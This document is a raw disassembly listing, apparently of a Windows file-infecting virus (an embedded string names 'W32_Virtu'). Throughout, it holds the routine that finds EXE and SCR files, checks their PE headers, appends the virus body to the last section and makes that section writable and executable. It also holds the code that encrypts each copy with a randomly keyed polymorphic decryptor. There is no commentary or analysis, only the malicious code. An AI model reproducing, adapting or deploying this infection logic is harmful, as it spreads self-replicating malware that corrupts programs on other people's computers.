UPX2:3150B298p arg_C = dword ptr 10h mov edx, [esp+arg_C] xor eax, eax pop dword ptr [edx+0B8h] retn sub_3150B20C endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_3150B219: ; CODE XREF: UPX2:3150B23Aj mov ecx, edi jmp short loc_3150B228 ; --------------------------------------------------------------------------- lea edi, [ebp+40384Eh] cld loc_3150B224: ; CODE XREF: UPX2:3150B236j mov ebx, edi xor ecx, ecx loc_3150B228: ; CODE XREF: UPX2:3150B21Bj ; UPX2:3150B23Ej lodsb cmp al, 61h jb short loc_3150B233 cmp al, 7Ah ja short loc_3150B233 sub al, 20h loc_3150B233: ; CODE XREF: UPX2:3150B22Bj ; UPX2:3150B22Fj stosb cmp al, 5Ch jz short loc_3150B224 cmp al, 2Eh jz short loc_3150B219 cmp al, 0 jnz short loc_3150B228 jecxz short locret_3150B20B mov eax, [ecx] cmp eax, 455845h jz short loc_3150B256 cmp eax, 524353h jnz locret_3150B189 loc_3150B256: ; CODE XREF: UPX2:3150B249j mov eax, [ebx] cmp eax, 434E4957h jz locret_3150B189 cmp eax, 4E554357h jz locret_3150B189 cmp eax, 32334357h jz locret_3150B189 cmp eax, 4F545350h jz locret_3150B189 xor ebx, ebx call sub_3150B0B8 jz locret_3150B189 xor edx, edx call sub_3150B2AE call sub_3150B20C call $+5 pop ebp sub ebp, 402F8Ah jmp loc_3150B5EB ; =============== S U B R O U T I N E ======================================= sub_3150B2AE proc near ; CODE XREF: UPX2:3150B293p var_14 = dword ptr -14h push dword ptr fs:[edx] mov esi, [ebp+403972h] mov fs:[edx], esp cmp word ptr [esi], 5A4Dh jnz loc_3150B5EB mov ebx, [esi+3Ch] add ebx, esi cmp word ptr [ebx], 4550h jnz loc_3150B5EB test dword ptr [ebx+16h], 2000h jnz loc_3150B5EB test byte ptr [ebx+5Ch], 2 mov ecx, [esi+20h] jz loc_3150B5EB jecxz short loc_3150B2FD cmp ecx, 101h jbe loc_3150B5EB loc_3150B2FD: ; CODE XREF: sub_3150B2AE+41j call sub_3150B1CF jb loc_3150B5EB mov ecx, [edx+10h] add ecx, [edx+0Ch] mov eax, 10000h push ecx call sub_31509E07 xor [ebp+40342Fh], dl mov cl, 20h xor [ebp+403430h], dh loc_3150B327: ; CODE XREF: sub_3150B2AE+92j push 20h dec cl pop eax js short loc_3150B342 call sub_31509E07 test edx, edx setz dl shl edx, cl xor [ebp+403431h], edx jmp short loc_3150B327 ; --------------------------------------------------------------------------- loc_3150B342: ; CODE XREF: sub_3150B2AE+7Ej ; sub_3150B2AE+CDj ... push 6 pop ecx loc_3150B348: ; CODE XREF: sub_3150B2AE+B8j push 6 pop eax call sub_31509E07 mov al, [ebp+403429h] xchg al, [edx+ebp+403429h] mov [ebp+403429h], al loop loc_3150B348 test dword ptr [ebp+403431h], 8 jnz short loc_3150B37D cmp byte ptr [ebp+40342Bh], 1 jz short loc_3150B342 loc_3150B37D: ; CODE XREF: sub_3150B2AE+C4j test dword ptr [ebp+403431h], 1000003h jz short loc_3150B3A4 cmp byte ptr [ebp+403429h], 5 jz short loc_3150B342 cmp byte ptr [ebp+40342Ah], 5 jz short loc_3150B342 cmp byte ptr [ebp+40342Bh], 5 jz short loc_3150B342 loc_3150B3A4: ; CODE XREF: sub_3150B2AE+D9j test dword ptr [ebp+403431h], 80000000h jz short loc_3150B3B9 cmp byte ptr [ebp+403429h], 2 ja short loc_3150B342 loc_3150B3B9: ; CODE XREF: sub_3150B2AE+100j and dword ptr [ebp+4039AEh], 0 call loc_3150A854 call sub_3150B18A call sub_3150B5F4 mov ebx, [ebp+403976h] call sub_3150B0B8 jz loc_3150B5EB mov esi, [ebp+403972h] mov ebx, [esi+3Ch] add ebx, esi call sub_3150B1CF jb loc_3150B5EB or dword ptr [edx+24h], 0E0000060h mov edi, esi push edx push esi add edi, [edx+14h] add edi, [edx+10h] test dword ptr [ebp+403431h], 10000000h jnz short loc_3150B421 lea esi, [ebp+40343Ch] mov ecx, [ebp+40106Dh] rep movsb loc_3150B421: ; CODE XREF: sub_3150B2AE+163j push edi mov ecx, 90Fh lea esi, [ebp+401000h] rep movsd mov cl, 0 jecxz short loc_3150B435 rep movsb loc_3150B435: ; CODE XREF: sub_3150B2AE+183j test dword ptr [ebp+403431h], 10000000h jz loc_3150B4ED push dword ptr [ebx+28h] call sub_3150A5BC mov edx, [ebp+4039A6h] test edx, edx jz loc_3150B4ED mov esi, [ebp+403972h] mov ecx, [edx+10h] or dword ptr [edx+24h], 0E0000060h sub ecx, [edx+8] jnb short loc_3150B472 xor ecx, ecx loc_3150B472: ; CODE XREF: sub_3150B2AE+1C0j add esi, [edx+14h] cmp ecx, [ebp+40106Dh] mov ecx, [ebp+40106Dh] jb short loc_3150B4D9 mov edi, [esp+14h+var_14] and dword ptr [ebp+40106Dh], 0 and dword ptr [edi+6Dh], 0 mov edi, [edx+8] add [edx+8], ecx add esi, edi xchg esi, edi mov eax, [ebp+403986h] test dword ptr [ebp+403431h], 40h jz short loc_3150B4B2 neg dword ptr [eax] loc_3150B4B2: ; CODE XREF: sub_3150B2AE+200j add esi, [edx+0Ch] sub [eax], esi mov [ebp+4039AEh], esi mov esi, [ebx+28h] add [eax], esi test dword ptr [ebp+403431h], 40h jz short loc_3150B4D0 neg dword ptr [eax] loc_3150B4D0: ; CODE XREF: sub_3150B2AE+21Ej push ecx call sub_3150B18A pop ecx jmp short loc_3150B4E5 ; --------------------------------------------------------------------------- loc_3150B4D9: ; CODE XREF: sub_3150B2AE+1D3j add esi, [ebx+28h] sub esi, [edx+0Ch] push ecx push esi rep movsb pop edi pop ecx loc_3150B4E5: ; CODE XREF: sub_3150B2AE+229j lea esi, [ebp+40343Ch] rep movsb loc_3150B4ED: ; CODE XREF: sub_3150B2AE+191j ; sub_3150B2AE+1A7j pop edi pop esi rdtsc xchg eax, edx lea eax, [edi+1D2h] cmp dl, [ebp+40342Fh] jnz short loc_3150B506 imul edx, 12345678h loc_3150B506: ; CODE XREF: sub_3150B2AE+250j mov [eax-1], dl call sub_315094DA pop edx mov ecx, [edx+0Ch] add ecx, [edx+10h] test dword ptr [ebp+403431h], 10000000h lea eax, [ecx+6] jnz short loc_3150B537 mov [ebp+4039AEh], ecx add eax, [ebp+40106Dh] and dword ptr [edi+6Dh], 0 loc_3150B537: ; CODE XREF: sub_3150B2AE+274j sub eax, [ebx+28h] push dword ptr [ebp+40397Eh] mov [edi+52h], eax pop dword ptr [esi+20h] test dword ptr [ebp+403431h], 80000000h jz short loc_3150B55C push edx call sub_3150AE82 pop edx loc_3150B55C: ; CODE XREF: sub_3150B2AE+2A5j mov ecx, [ebp+4039AEh] jecxz short loc_3150B567 mov [ebx+28h], ecx loc_3150B567: ; CODE XREF: sub_3150B2AE+2B4j mov ecx, [edx+10h] mov eax, [ebp+403976h] cmp [edx+8], ecx jnb short loc_3150B578 mov [edx+8], ecx loc_3150B578: ; CODE XREF: sub_3150B2AE+2C5j add [edx+10h], eax and dword ptr [ebx+58h], 0 mov eax, [ebp+40397Ah] push 243Ch add [edx+8], eax pop ecx add [ebx+50h], eax mov dl, [ebp+40342Fh] test dword ptr [ebp+403431h], 10000000h jz short loc_3150B5A9 add ecx, [ebp+40106Dh] loc_3150B5A9: ; CODE XREF: sub_3150B2AE+2F3j mov dh, 0 test dword ptr [ebp+403431h], 20000h jnz short loc_3150B5CB inc dh test dword ptr [ebp+403431h], 40000h jnz short loc_3150B5CB mov dh, [ebp+403430h] loc_3150B5CB: ; CODE XREF: sub_3150B2AE+307j ; sub_3150B2AE+315j test dword ptr [ebp+403431h], 4000h jnz short loc_3150B5E2 loc_3150B5D7: ; CODE XREF: sub_3150B2AE+330j mov al, [edi] add al, dl stosb add dl, dh loop loc_3150B5D7 jmp short loc_3150B5EB ; --------------------------------------------------------------------------- loc_3150B5E2: ; CODE XREF: sub_3150B2AE+327j ; sub_3150B2AE+33Bj mov al, [edi] xor al, dl stosb add dl, dh loop loc_3150B5E2 loc_3150B5EB: ; CODE XREF: UPX2:3150B2A9j ; sub_3150B2AE+11j ... xor edx, edx mov esp, fs:[edx] pop dword ptr fs:[edx] pop eax sub_3150B2AE endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_3150B5F4 proc near ; CODE XREF: sub_3150B2AE+11Cp cmp dword ptr [ebp+403956h], 0 jz locret_3150B189 push dword ptr [ebp+403972h] call dword ptr [ebp+4035C4h] loc_3150B60D: ; CODE XREF: sub_3150B0B8+C5j push dword ptr [ebp+40396Eh] call dword ptr [ebp+40353Ch] lea ecx, [ebp+40395Ah] lea edx, [ebp+403962h] push ecx push edx push 0 push dword ptr [ebp+403956h] call dword ptr [ebp+4035B8h] loc_3150B635: ; CODE XREF: sub_3150B0B8+6Bj ; sub_3150B0B8+82j ... push dword ptr [ebp+403956h] call dword ptr [ebp+40353Ch] loc_3150B641: ; CODE XREF: sub_3150B0B8+45j lea esi, [ebp+40384Eh] push dword ptr [ebp+403952h] push esi call dword ptr [ebp+4035B4h] and dword ptr [ebp+403956h], 0 retn sub_3150B5F4 endp ; --------------------------------------------------------------------------- dd 0E8h, 16A5D00h, 3349ED81h, 0F0580040h, 8085C10Fh, 85004015h dd 0C883C3C0h, 0C10FF0FFh, 40158085h, 103DC300h, 75002A00h dd 7C81661Ch, 716C0C24h, 0E8601375h, 0FFFFFFC4h, 7EE80575h dd 0E8FFFFFBh, 0FFFFFFD2h, 2DFF2E61h, 12345678h, 25B8h dd 0A5E86000h, 75FFFFFFh, 24448B39h, 4EB58D30h, 8B004038h dd 81660850h, 7302063Ah, 685625h, 8B00FF00h, 52006AC4h dd 0F895FF50h, 83004035h, 3E8108C4h, 5C3F3F5Ch, 0C6830375h dd 0FB2BE804h, 7FE8FFFFh, 61FFFFFFh, 74B8C3h, 0B1EB0000h dd 2FB8h, 10E800h, 20C20000h, 30B800h, 3E80000h, 0C2000000h dd 548D0024h, 2ECD0C24h, 7C00F883h, 0E86019h, 8B000000h dd 5D302454h, 0ED811A8Bh, 403413h, 0FFE539E8h, 4C261FFh dd 3020700h, 4F010506h, 2E07F9C3h, 9415FF6Eh, 90010011h dd 40h dup(0) dd 7C809B47h, 7C8308ADh, 7C910331h, 7C80ADA0h, 3 dup(0) dd 7C80BDB6h, 7C801A24h, 7C80945Ch, 7C802367h, 7C81042Ch dd 7C810637h, 7C864B0Fh, 7C80C058h, 7C80E7ECh, 7C81153Ch dd 7C810A77h, 7C831C45h, 7C80B6A1h, 7C8608FFh, 7C835DCAh dd 7C8111DAh, 7C812ADEh, 7C801D77h, 7C80B905h, 7C80BB76h dd 7C8309E1h, 7C863DE5h, 7C863F58h, 7C812782h, 7C831CB8h dd 7C802442h, 7C810B1Ch, 7C80B974h, 7C809A51h, 7C810D87h dd 7C90D460h, 7C90D682h, 7C90D754h, 7C90D769h, 7C90D793h dd 7C90DC55h, 7C90DCFDh, 7C90DD90h, 7C90DEB6h, 7C90EA32h dd 7C9130C6h, 15h dup(0) dd 380036h, 3150B970h, 42005Ch, 730061h, 4E0065h, 6D0061h dd 640065h, 62004Fh, 65006Ah, 740063h, 5C0073h, 330057h dd 5F0032h, 690056h, 740072h, 75h, 0BBh dup(0) dd 910000h, 0Ch dup(0) dd 4F0000h, 18CDh dup(0) UPX2 ends ; Section 4. (virtual address 00012000) ; Virtual size : 00001000 ( 4096.) ; Section size in file : 00000200 ( 512.) ; Offset to raw data for section: 00012000 ; Flags C0000040: Data Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure data ; Segment permissions: Read/Write _idata2 segment para public 'DATA' use32 assume cs:_idata2 ;org 31512000h dd 80h dup(0) align 1000h _idata2 ends end start